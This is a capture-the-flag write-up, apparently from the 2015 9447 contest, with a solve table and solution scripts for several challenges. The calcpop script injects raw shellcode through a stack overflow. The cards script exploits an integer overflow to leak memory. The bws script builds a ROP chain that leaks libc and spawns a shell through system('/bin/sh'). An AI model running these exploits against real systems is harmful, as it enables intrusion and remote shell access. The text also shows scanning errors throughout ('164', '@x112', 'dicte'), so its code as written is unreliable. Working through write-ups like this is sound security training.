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Challenge Solved Points
BWS (Exploitation) #28, 1 day, 18 hours after release (2015-11-30 04:41:07) 190
Hello, Joe (Reverse engineering) #48, 1 day, 17 hours after release (2015-11-30 03:36:07) 160
The *real® flag finder (Reverse engineering) #217, 1 day, 12 hours after release (2015-11-29 22:59:11) 70
flag finder (Reverse engineering) #410, 1 day, 12 hours after release (2015-11-29 22:53:28) 1
cards (Exploitation) #29, 1 day, 6 hours after release (2015-11-29 16:59:23) 140
calcpop (Exploitation) #146, 1 day, 4 hours after release (2015-11-29 14:20:12) 80

1. flag finder& the real flag finder
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2.Hello joe
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; segOl
rdtsc
test eax, OFFFFFh
jnz short loc_1l0OFO
movzxX rax, byte ptr [rdi]
inc rdi
cmp al, 61lh ; 'a’
jz loc_1095
cmp al, 65h ; 'e’
jz loc_1095
cmp al, 66h ; £’
jz loc_1095
xor eax, eax
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from idc import *
from idaapi import *
from idautils import *

def get_result(start_ea):
result _dict= {}
ea =start_ea

cur_index =0
may_cs = []
while ea< start_ea + 0x1000:
disasm =GetDisasm(ea)
#printdisasm
if "jmp'in disasm:
ea =int(disasm.split('loc_"')[1].strip(),16)
cur_index +=1
continue
if 'cmp'in disasm:
¢ =chr(int(disasm.split("',")[1].split('h")[@], 16))
if c== '\x00':
break

may_cs.append(c)

if 'jz'in disasm:
ifmay_cs:
next_ea = int(disasm.split('loc_"')[1].strip(),16)
if 'xor'in disasm:
ea =next_ea
result_dict[cur_index] = may_cs
may_cs = []
cur_index += 1

ea =FindCode(ea, SEARCH_DOWN|SEARCH_NEXT)
returnresult_dict

dicte = get_result(0x1005)
dictl = get_result(0x2005)
dict2 = get_result(0x3005)
dict3 = get_result(0x4005)
dict4 = get_result(0x5005)

print dicte
print dictl
print dict2
print dict3
print dict4

flag = '9447{"

for i in range(5, 37):
temp_lists =[]
ifdicte@.has_key(i):
temp lists.append(dictolil)



ifdictl.has_key(i):
temp_lists.append(dict1[i])
ifdict2.has_key(i):
temp_lists.append(dict2[i])
ifdict3.has_key(i):
temp_lists.append(dict3[i])
ifdict4.has_key(i):
temp_lists.append(dict4[i])
for ¢ intemp_lists[@]:
find =True
fortemp_list in temp_lists:
if cnot in temp_list:
find = False
break
if find:
print i
flag+= c
cs = None
fortemp_list in temp_lists:
if cs isNone:
cs =set(temp_list)
else:
cs =cs&set(temp_list)
print i, cs
flag +=1list(cs)[0]

flag += '}’

print flag
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from zio import *

target = ('calcpop-4gh@7blg.9447.plumbing',9447)
#target = './calcpop'

def exp(target):
io =zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),print_write=COLORED(RAW, ‘'green'))

io.read_until('exe")

payload ='123456"

io.writeline(payload)

io.read_until('was ")

addr =int(io.readline().strip('\n'), 16)
print'addr="+hex(addr)

payload ='201526 1a'
payload =payload.ljust(0x9c, 'a')

payload +=132(addr+0xa®)

payload +='\x90'*0x10

buf = ""

buf +="\xdd\xcl\xbe\xc7\x36\x96\x53\xd9\x74\x24\xf4\x5Ff\x29"
buf +="\xc9\xb1\x0b\x31\x77\x1a\x03\x77\x1a\x83\xef\xfc\xe2"
buf +="\x32\x5c\x9d\x0b\x25\xF3\xc7\xc3\x78\x97\x8e\xf3\xea"
buf +="\x78\xe2\x93\xea\xee\x2b\x06\x83\x80\xba\x25\x01\xb5"
buf +="\xb5\xa9\xa5\x45\xe9\xcb\xcc\x2b\xda\x78\x66\xb4\x73"
buf +="\x2c\xff\x55\xb6\x52"

payload +=buf
io.write(payload)

io.interact()

exp(target)

4. cards
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from zio import *

#target = './cards'
target = ('cards-6xvx9tsi.9447.plumbing', 9447)

def exp(target):
io =zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),print_write=COLORED(RAW, ‘'green'))
io.read_until('stop")

#io.gdb_hint()

payload ='-9223372036854775808 '
for i in range(4):

payload+= '5 '
payload +='0'
io.writeline(payload)

io.read_until('5 ')

addr =int(io.read_until(' ').strip(' '), 10)
printhex(addr)

base = addr- Ox8ea

io.writeline('0")
io.writeline('1")
io.writeline('2")
io.writeline('3")
io.writeline('4")

flag_addr=0xd9@+base
io.read_until('stop"')

payload ='-9223372036854775808 '
for i inrange(6):

payload+= str(flag_addr) +
payload +='0"'
io.writeline(payload)

io.interact()

exp(target)

5. bws
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from zio import *
target = ('bws-ad8sfsklw.9447.plumbing', 80)
target = './bws/bws'

def exp(target):

io =zio(target, timeout=10000, print_read=COLORED(RAW, 'red'),print_write=COLORED(RAW,

payload ='GET /..'

payload +='"'*9+'\r\n\r\n'
io.gdb_hint()
io.write(payload)

io.read_until('HTTP")

#io.interact()

payload2 ='GET /../'

payload2 +='a'*@x112

payload2 +='\xb3\x12\x40' #add rsp,0x1018; ret
payload2 +=' '*9 + '"\r'

payload2 +='b'*0x100

payload2 +='c'*@xccl

pop_rdi_ret= 0x401323
pop_rsi_ret= 0x401321 # pop rsi; pop ri15; ret

put_got =0x602020

put_plt =0x400880

rop =164(pop_rdi_ret) + 164(put_got)
rop +=164(put_plt)

read_buf =0x400ae0

buff_addr =0x61bboo

rop +=164(pop_rdi_ret) + 164(buff_addr)

rop +=164(pop_rsi_ret) + 164(0x1000) + 164(0x1000)

rop +=164(read_buf)

pop_rsp_ret= 0x400bf7

rop +=164(pop_rsp_ret) + 164(buff_addr)
payload2 +=rop

payload2 =payload2.ljust(4050, 'c')
payload2+="\r\n\r\n'

io.write(payload2)
io.read_until('</html>\n")

put_addr =164(io.readline().strip('\n"').1ljust(8,
printhex(put_addr)

base =put_addr - 0x6fe30

binsh_addr =base+0x17ccdb

system_addr= base + 0x46640

rop2 =164(pop_rdi_ret) + 164(binsh_addr)
rop2 +=164(system_addr)

rop2 +="'\r\n\r\n’

io.write(rop2)

io.interact()
exp(target)
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